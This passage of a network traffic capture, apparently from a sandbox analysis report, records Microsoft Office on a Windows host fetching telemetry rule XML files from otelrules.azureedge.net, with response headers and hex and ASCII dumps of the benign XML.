2024-10-29 03:53:14 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	49848	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:14 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:14 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:14 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: fd8956fb-b01e-0070-5828-281cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035314Z-r197bdfb6b4qbfppwgs4nqza8000000004pg00000000400s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:14 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	49849	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:15 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:15 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:15 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: cd04a713-f01e-003f-7315-26d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035315Z-16849878b78g2m84h2v9sta29000000004y000000000663n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:15 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	49850	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:15 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:15 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:15 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 3a0fb8a5-701e-0050-6930-276767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035315Z-16849878b78x6gn56mgecg60qc00000007u0000000009ea6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:15 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	49851	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:15 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:15 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:15 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 980a0530-101e-00a2-7d83-299f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035315Z-r197bdfb6b4wmcgqdschtyp7yg00000005y0000000008y0g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:15 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	49844	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:15 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:15 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:15 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 20ac8722-c01e-00ad-30e6-27a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035315Z-r197bdfb6b4qbfppwgs4nqza8000000004g000000000k04z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:15 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	49852	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:15 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:15 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:15 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: c3c23e01-401e-008c-4e94-2986c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035315Z-17c5cb586f6lxnvg801rcb3n8n00000005x0000000003cgm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 03:53:15 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	49855	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:16 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:16 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:16 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: cdf7bdf1-501e-0029-3f94-27d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035316Z-17c5cb586f6hhlf5mrwgq3erx8000000077000000000bb41 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:16 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	49854	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:16 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:16 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:16 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 174e4ed1-f01e-0052-3d1b-279224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035316Z-16849878b78wv88bk51myq5vxc000000064g00000000t649 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:16 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	49853	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:16 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:16 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:16 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 9bc6d014-801e-008f-4946-262c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035316Z-17c5cb586f69w69mgazyf263an000000054g000000009my4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:16 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	49856	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:16 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:16 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:16 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 207ff7bf-701e-006f-1357-27afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035316Z-16849878b78x6gn56mgecg60qc00000007pg00000000r912 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:16 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	49857	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:16 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:16 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:16 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 7f6d22c4-101e-0046-21f0-2591b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035316Z-15b8d89586ffsjj9qb0gmb1stn0000000a6g000000006r4s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:16 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 